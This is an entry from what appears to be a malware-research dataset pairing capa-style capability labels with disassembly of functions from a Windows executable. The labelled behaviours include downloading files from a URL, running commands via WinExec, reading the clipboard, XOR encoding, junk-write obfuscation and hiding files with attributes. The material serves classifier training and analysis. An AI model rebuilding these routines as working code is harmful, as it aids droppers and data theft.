joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a074
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff28
xor eax, eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46a324
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x471e1c], eax
call sub.kernel32.dll_GetTickCount_1
mov eax, 3
call fcn.00402da8
inc eax
mov dword [0x471e44], eax
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov eax, 0x2bcc
call fcn.00402da8
add eax, 0xce6a
mov dword [0x471e2c], eax
call sub.kernel32.dll_GetTickCount_1
mov dword [0x471c3c], 0x371251
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
call sub.kernel32.dll_GetTickCount_1
mov eax, 0xdbc4
call fcn.00402da8
add eax, 0x1596b
mov dword [0x471e2c], eax
mov eax, 0x427129
call fcn.00402da8
add eax, 0x192a
mov dword [0x471e44], eax
mov dword [0x471e30], 0x6f2b
mov eax, 0x4ac3
call fcn.00402da8
add eax, 0x17e93
mov dword [0x471e28], eax
push dword [ebp - 4]
push 0x46a338
push dword [0x4706d4]
push 0x46a354
lea eax, [ebp - 4]
mov edx, 4
call fcn.004044dc
mov eax, 0x15324
call fcn.00402da8
add eax, 0x559c
mov dword [0x471e28], eax
mov eax, dword [ebp - 4]
call fcn.0040880c
test al, al
je 0x46a2fe
call sub.kernel32.dll_GetTickCount_1
call sub.kernel32.dll_GetTickCount_1
add eax, 0xaae
mov dword [0x471e28], eax
mov eax, dword [ebp - 4]
call fcn.00469d2c
call sub.kernel32.dll_GetTickCount_1
mov eax, 0x11c
call fcn.00402da8
mov dword [0x471e44], eax
mov dword [0x471e30], 0x11cd
cmp dword [0x471e1c], 0
jle 0x46a2fe
call sub.kernel32.dll_GetTickCount_1
mov eax, dword [ebp - 4]
call fcn.0040441c
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.004046bc
call sub.kernel32.dll_GetTickCount_1
mov eax, 0x8a67
call fcn.00402da8
add eax, 0x111f6
mov dword [0x471e28], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x10588
mov dword [0x471e28], eax
mov dword [0x471e30], 0x18144
push 0
push dword [0x4706d0]
push 0x46a360
push dword [0x4706d4]
push 0x46a378
lea eax, [ebp - 0xd4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd4]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
mov dword [0x471c3c], 0x31e9fe6b
call sub.kernel32.dll_GetTickCount_1
add eax, 0x170ce
mov dword [0x471e28], eax
call sub.kernel32.dll_GetTickCount_1
mov eax, 0x159
call fcn.00402da8
add eax, 0x34b659
mov dword [0x471e44], eax
mov dword [0x471e30], 0x15ec7
push 0
push dword [0x4706d0]
push 0x46a360
push dword [0x4706d4]
push 0x46a38c
lea eax, [ebp - 0xd8]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd8]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
mov eax, 0x305
call fcn.00402da8
add eax, 0x11b03
mov dword [0x471e30], eax
mov dword [0x471e2c], 0x160df
call sub.kernel32.dll_GetTickCount_1
add eax, 0xcd52
mov dword [0x471e28], eax
call sub.kernel32.dll_GetTickCount_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a32b
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a39c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
mov esi, 0x471e30
xor eax, eax
push ebp
push 0x46a525
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x257]
xor ecx, ecx
mov edx, 0xfb
call fcn.00402d88
mov dword [esi], 0x151
mov eax, 0x9807
call fcn.00402da8
add eax, 0xd2fd
mov dword [0x471e2c], eax
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x257]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x257]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a53c
call fcn.00404424
lea eax, [ebp - 0x25c]
mov ecx, 0x46a548
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x25c]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
mov ebx, eax
mov dword [0x471e2c], 0x4c95
mov dword [0x471c3c], 0x35dbe983
mov dword [0x471e2c], 0xe17e
test ebx, ebx
jne 0x46a4e3
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x260]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
mov ebx, eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x7962
mov dword [esi], eax
mov dword [0x471e28], 0x10213
mov dword [0x471e40], 0xdfae0ac
call sub.kernel32.dll_GetTickCount_1
add eax, 0x11b8a
mov dword [esi], eax
test ebx, ebx
je 0x46a487
lea eax, [ebp - 0x15c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a52c
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a550
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa3c
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5c4], edx
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x5b8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404ac8
mov esi, 0x471e2c
xor eax, eax
push ebp
push 0x46a7b4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
lea edx, [ebp - 8]
mov eax, dword [0x470788]
call fcn.004686c0
mov dword [0x471c3c], 0x32d77513
call sub.kernel32.dll_GetTickCount_1
add eax, 0x13d5c
mov dword [esi], eax
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, 0x46a7c4
call fcn.00405ac0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov ecx, 0x46a7d4
call fcn.00405ac0
mov eax, 0x12769
call fcn.00402da8
add eax, 0x8433
mov dword [esi], eax
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x267]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a7ec
call fcn.00404424
lea eax, [ebp - 0x5b8]
mov ecx, 0x46a7f8
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.00408894
test eax, eax
jne 0x46a752
lea eax, [ebp - 0x5bc]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5bc]
lea edx, [ebp - 0x5b2]
mov ecx, 0x20a
call fcn.00404f34
push 0
lea eax, [ebp - 0x5b2]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [0x471c3c], 0x16bb61be
call sub.kernel32.dll_GetTickCount_1
add eax, 0xc0ef
mov dword [esi], eax
push 2
lea eax, [ebp - 0x3a8]
push eax
push 0xfb
lea eax, [ebp - 0x267]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
mov eax, dword [ebp - 0x14]
call fcn.004087fc
test al, al
je 0x46a73f
lea edx, [ebp - 0x5c4]
mov eax, dword [ebp - 0x14]
call fcn.00408a28
mov eax, dword [ebp - 0x5c4]
lea edx, [ebp - 0x5c0]
call fcn.00408014
mov eax, dword [ebp - 0x5c0]
mov edx, 0x46a808
call fcn.00404568
jne 0x46a73f
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004041b0
lea eax, [ebp - 0x16c]
call fcn.00408908
jmp 0x46a75d
lea eax, [ebp - 0x16c]
call fcn.004088e4
test eax, eax
je 0x46a668
lea eax, [ebp - 0x16c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a7bb
lea eax, [ebp - 0x5c4]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 0x14]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.00405a7c
lea eax, [ebp - 0xc]
call fcn.00405a7c
lea eax, [ebp - 8]
call fcn.00405a7c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a810
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46a8d4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [0x471c3c], 0x4d4560b
mov eax, dword [ebp - 4]
call fcn.0040441c
mov ebx, eax
test ebx, ebx
jbe 0x46a87d
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi - 1]
xor dl, 1
call fcn.00404344
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404424
inc esi
dec ebx
jne 0x46a85c
mov dword [0x471c3c], 0xf8e10ed
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004041b0
call sub.kernel32.dll_GetTickCount_1
add eax, 0xe5ce
mov dword [0x471e28], eax
mov dword [0x471e40], 0x8241
call sub.kernel32.dll_GetTickCount_1
add eax, 0xcaa7
mov dword [0x471e28], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a8db
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x46abe8
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
xor eax, eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46ad96
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x22c]
call fcn.0040461c
push eax
call sub.kernel32.dll_MoveFileExA
mov dword [0x471c3c], 0x33a1ffee
push 0xc8
lea eax, [ebp - 0x225]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov dword [0x471c3c], 0x360736de
call sub.kernel32.dll_GetTickCount_1
add eax, 0x13837
mov dword [0x471e28], eax
lea eax, [ebp - 4]
lea edx, [ebp - 0x225]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46adac
call fcn.00404424
lea eax, [ebp - 0x230]
mov ecx, 0x46adb8
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
mov dword [0x471c3c], 0x31b91ab2
call sub.kernel32.dll_GetTickCount_1
add eax, 0xa629
mov dword [0x471e2c], eax
lea eax, [ebp - 0x15c]
call fcn.004088e4
jmp 0x46ad29
lea eax, [ebp - 0x238]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x238]
call fcn.0040461c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.00404354
mov eax, dword [ebp - 0x234]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x46acf2
push 0
push 0x46adbc
call sub.kernel32.dll_WinExec
mov dword [0x471e40], 0x2b
mov dword [0x471e28], 0xf674
mov byte [0x471c15], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ad9d
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46add0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46b01d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.0040415c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46b02c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov eax, 0x3e2f
call fcn.00402da8
add eax, 0x17cab
mov dword [0x471e30], eax
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46b05c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46ae6b
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46b068
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46aeb9
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46b07c
call fcn.00404468
mov dword [0x471e2c], 0xfea5
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov dword [0x471e34], 0x1ded1e3
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46b080
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x471c3c], 0x21f958ae
mov eax, 0x4bb7
call fcn.00402da8
add eax, 0x27c9
mov dword [0x471e30], eax
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46b05c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46af3f
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov dword [0x471c3c], 0xb3bc3fa
mov edx, dword [ebp - 0xc]
mov eax, 0x46b0b4
call fcn.00404760
dec eax
jne 0x46af74
lea eax, [ebp - 0xc]
mov ecx, 0x12
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0xc]
mov eax, 0x46b0d0
call fcn.00404760
dec eax
jne 0x46af96
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0x10]
mov eax, 0x46b0e4
call fcn.00404760
dec eax
jne 0x46afc8
lea eax, [ebp - 0x10]
mov ecx, 0xe
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46b0fc
call fcn.00404468
cmp dword [ebp - 0xc], 0
je 0x46afdd
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00404468
jmp 0x46afe9
mov eax, ebx
mov edx, 0x46b108
call fcn.004041b0
call sub.kernel32.dll_GetTickCount_1
add eax, 0x247f
mov dword [0x471e28], eax
mov dword [0x471c3c], 0x22ba1c63
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b024
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404180
ret
Function at 0x46b988
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46bb2f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
push 0
push 0
push 0
push 0
mov eax, dword [0x470694]
call fcn.0040461c
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
mov dword [0x471c3c], 0x322c93a4
mov eax, 0x4e7a
call fcn.00402da8
add eax, 0x12672
mov dword [0x471e2c], eax
test ebx, ebx
je 0x46baa5
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x46ba95
lea eax, [ebp - 8]
push eax
push 0x401
lea eax, [ebp - 0x40d]
push eax
push esi
call sub.wininet.dll_InternetReadFile
mov dword [0x471e2c], 0x110d8
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x40d]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.0040467c
mov edx, dword [ebp - 0x414]
lea eax, [ebp - 0xc]
call fcn.00404424
cmp dword [ebp - 8], 0
jne 0x46ba2e
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
mov dword [0x471c3c], 0x1efdbcfe
lea eax, [ebp - 0x41c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040467c
mov eax, dword [ebp - 0x41c]
mov edx, 0x46bb48
call fcn.00404568
je 0x46bae6
push 0x668a0
call sub.kernel32.dll_Sleep_1
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046b988
jmp 0x46bb01
push edi
mov eax, dword [ebp - 0xc]
call fcn.0040441c
mov ecx, eax
sub ecx, 6
mov edx, 4
mov eax, dword [ebp - 0xc]
call fcn.0040467c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bb36
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.00404180
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46bb4c
Capabilities:
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46bde1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, dword [0x47069c]
mov edx, dword [0x471c64]
call fcn.00404468
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
mov esi, eax
push esi
call sub.kernel32.dll__lopen
mov ebx, eax
mov eax, 0x6e4c
call fcn.00402da8
add eax, 0xf024
mov dword [0x471e2c], eax
cmp ebx, 0xffffffff
je 0x46bc2e
push 0x400
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.kernel32.dll__lread
mov esi, eax
push 0x471c60
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x405]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x40c]
mov ecx, esi
xor edx, edx
call fcn.0040467c
mov dword [0x471e30], 0x106be
push ebx
call sub.kernel32.dll__lclose
jmp 0x46bdbb
push dword [0x470698]
push 0x46bdf8
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004083e0
mov eax, dword [ebp - 0x41c]
lea edx, [ebp - 0x418]
call fcn.0046b880
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 3
call fcn.004044dc
mov eax, dword [ebp - 0x414]
lea edx, [ebp - 0x410]
call fcn.0046b988
mov edx, dword [ebp - 0x410]
mov eax, 0x471c60
call fcn.004041b0
push 0
push esi
call sub.kernel32.dll__lcreat
mov ebx, eax
mov eax, dword [0x471c60]
call fcn.0040441c
push eax
mov eax, 0x471c60
call fcn.00404674
lea edx, [ebp - 0x405]
pop ecx
call fcn.004029a8
mov dword [0x471c3c], 0x15589559
mov eax, 0x81ec
call fcn.00402da8
add eax, 0x7cdd
mov dword [0x471e30], eax
mov eax, dword [0x471c60]
call fcn.0040441c
push eax
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.kernel32.dll__lwrite
mov dword [0x471c3c], 0xc1269f7
push ebx
call sub.kernel32.dll__lclose
mov dword [0x471e40], 0x6ecdd
cmp byte [0x471c55], 0
je 0x46bdbb
mov dword [0x471c3c], 0x24448f3
push 0
push 0
lea eax, [ebp - 0x420]
mov ecx, dword [0x4706d8]
mov edx, dword [0x471c64]
call fcn.00404468
mov eax, dword [ebp - 0x420]
call fcn.0040461c
push eax
lea eax, [ebp - 0x424]
mov ecx, dword [0x4706d8]
mov edx, dword [0x470698]
call fcn.00404468
mov eax, dword [ebp - 0x424]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov dword [0x471c3c], 0x397ead0d
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1814a
mov dword [0x471e2c], eax
push 7
lea eax, [ebp - 0x428]
mov ecx, dword [0x4706d8]
mov edx, dword [0x471c64]
call fcn.00404468
mov eax, dword [ebp - 0x428]
call fcn.0040461c
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bde8
lea eax, [ebp - 0x428]
mov edx, 8
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46c324
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff30
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46c3fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
mov dword [0x471c3c], 0xc5ec655
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
call sub.kernel32.dll_GetTickCount_1
add eax, 0x4ff1
mov dword [0x471e30], eax
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
call sub.kernel32.dll_GetTickCount_1
add eax, 0x3def
mov dword [0x471e2c], eax
lea eax, [ebp - 4]
mov edx, 0x46c410
call fcn.00404424
mov dword [0x471e28], 0x13461
mov dword [0x471e2c], 0x2db7
mov dword [0x471e40], 0x34acfdb
mov dword [0x471e28], 0x54df
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0046be08
mov dword [0x471c3c], 0x1f0e08e7
mov dword [0x471e30], 0x1484b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c401
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46c424
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x46c51f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040415c
push 0
call sub.user32.dll_OpenClipboard
mov eax, 0xee27
call fcn.00402da8
add eax, 0x816f
mov dword [0x471e30], eax
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x46c4e6
mov dword [0x471c3c], 0x2fd7316b
push ebx
call sub.kernel32.dll_GlobalLock
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404354
mov eax, 0xc29d
call fcn.00402da8
add eax, 0x1559b
mov dword [0x471e30], eax
mov dword [0x471c3c], 0x19464faa
mov eax, dword [ebp - 4]
call fcn.0040441c
cmp eax, 0xc8
jle 0x46c4c7
lea eax, [ebp - 4]
push eax
mov ecx, 0xc8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004041b0
push ebx
call sub.kernel32.dll_GlobalUnlock
call sub.kernel32.dll_GetTickCount_1
add eax, 0x5e6c
mov dword [0x471e28], eax
mov dword [0x471c3c], 0x260037a7
call sub.user32.dll_CloseClipboard
mov dword [0x471c3c], 0x2a47cf10
mov dword [0x471e34], 0x1ee9ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c526
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46c52c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x46c5d7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.004047a8
call sub.kernel32.dll_GetTickCount_1
add eax, 0x158b4
mov dword [0x471e28], eax
push 0xffffffffffffffff
push 6
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
test eax, eax
jne 0x46c582
lea eax, [ebp - 4]
call fcn.0040415c
jmp 0x46c59e
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004089bc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, dword [0x4706b8]
call fcn.00404468
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004041b0
mov eax, 0x2db4
call fcn.00402da8
add eax, 0x12d4e
mov dword [0x471e2c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c5de
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret

Function at 0x46c5e4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46c72f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040415c
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [ebp - 0x10], 0x400
mov dword [0x471c3c], 0x17979e19
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x4706bc]
call fcn.0040461c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
mov eax, 0xb916
call fcn.00402da8
add eax, 0x10163
mov dword [0x471e2c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [0x4706c0]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46c695
lea eax, [ebp - 4]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
call fcn.0040441c
test eax, eax
je 0x46c6ed
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
call fcn.00404344
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46c6ed
lea eax, [ebp - 8]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, 0x1416b
call fcn.00402da8
add eax, 0x127c8
mov dword [0x471e2c], eax
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c736
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret